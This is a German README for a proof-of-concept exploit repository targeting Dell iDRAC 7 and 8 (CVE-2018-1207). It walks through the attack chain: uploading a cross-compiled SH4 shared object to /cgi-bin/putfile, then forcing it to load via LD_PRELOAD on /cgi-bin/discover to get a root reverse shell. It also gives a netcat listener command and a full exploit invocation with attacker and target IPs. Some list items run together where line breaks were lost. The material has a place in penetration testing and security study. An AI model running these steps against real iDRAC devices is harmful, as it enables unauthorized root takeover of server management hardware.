
Reverse Shell CVE für iDRAC 7 & 8 mit Firmware 2.52.52.52 und niedriger.
Dieses Repository enthält ein Proof-of-Concept-Python-Skript, um einen Exploit für Remotecodeausführung in iDRAC7- und iDRAC8-Geräten mit Firmware-Versionen 2.52.52.52 und darunter zu demonstrieren. Dieser Exploit ermöglicht es Angreifern, Code als Root-Benutzer auszuführen, was zu einer vollständigen Systemübernahme führen kann. Im Code zeigen wir dies durch einen Reverse-Shell-Angriff mit dem Exploit. Der Code in diesem Repository ist eine bearbeitete Version des ursprünglichen Exploits von Michael Gargiullo (mgargiullo).
Haftungsausschluss - Dieser Code wird nur zu Bildungszwecken bereitgestellt. Sie dürfen dieses Skript nicht verwenden, um Geräte anzugreifen, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Einwilligung haben. Die Verwendung dieses Skripts auf Systemen ohne entsprechende Autorisierung ist illegal. Ich übernehme keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden. Unbefugte Nutzung kann zu schwerwiegenden rechtlichen Konsequenzen führen, einschließlich Geld- und Haftstrafen.
?LD_DEBUG=files. Wenn die Antwort Debugging-Inhalte enthält, die zeigen, welche Bibliotheksdateien geladen werden sollen, wissen wir, dass es verwundbar ist.sh4-linux-gnu-gcc. Da der iDRAC auf einer SuperH (SH4) Prozessorarchitektur läuft, müssen wir den Code in ein Shared Object (.so) kompilieren, damit er vom iDRAC ausgeführt werden kann.POST-Anfrage an /cgi-bin/putfile senden, wo sie die Datei unter /tmp/sshpkauthupload.tmp speichert.GET-Anfrage an /cgi-bin/discover mit dem Parameter ?LD_PRELOAD=/tmp/sshpkauthupload.tmp. Dies zwingt den iDRAC, eine bestimmte Bibliothek vor jeder anderen Bibliothek zu laden, wodurch die modifizierte .so-Datei aus dem Verzeichnis /tmp/ geladen wird.constructor-Funktion befindet, wird der Code sofort nach dem Laden ausgeführt, was zu einer Reverse-Shell als root-Benutzer (der Benutzer mit den höchsten Berechtigungen auf einem Linux-basierten System) führt.Bitte stellen Sie vor dem Ausführen des Skripts sicher, dass Sie Folgendes haben:
pip install requests installiert werden)sudo apt install gcc-sh4-linux-gnu installiert werden)Ohne diese Voraussetzungen treten Probleme auf und der Exploit kann nicht vollständig ausgeführt werden! Es gibt keine Überprüfungen, ob diese Voraussetzungen erfüllt sind.
Starten Sie einen Listener auf Ihrem Rechner, um die Reverse-Shell zu empfangen, verwenden Sie dafür netcat.
nc -lvnp <LPORT>
Ersetzen Sie <LPORT> durch den Port, den Sie abhören möchten (z. B. 5000).
Führen Sie das Skript mit den erforderlichen Argumenten aus.
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost: Die IP-Adresse des Ziel-iDRAC.--rport: Der Port der iDRAC-Weboberfläche (normalerweise 443).--lhost: Ihre lokale IP-Adresse, zu der die Reverse-Shell zurückverbinden soll.--lport: Ihr lokaler Port, auf dem der Netcat-Listener läuft.--keep-payload: (Optional) Wenn gesetzt, löscht das Skript payload.c und payload.so nach der Ausführung nicht von Ihrem Rechner.Angreifer-Maschine (IP: 192.168.1.100) - Starten Sie den Listener.
nc -lvnp 5000
Angreifer-Maschine - Führen Sie den Exploit aus, der auf einen iDRAC unter 192.168.1.50 abzielt.
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
Bei Erfolg erhalten Sie eine Shell-Sitzung in Ihrem Netcat-Terminal, in der Sie Befehle wie racadm ausführen können.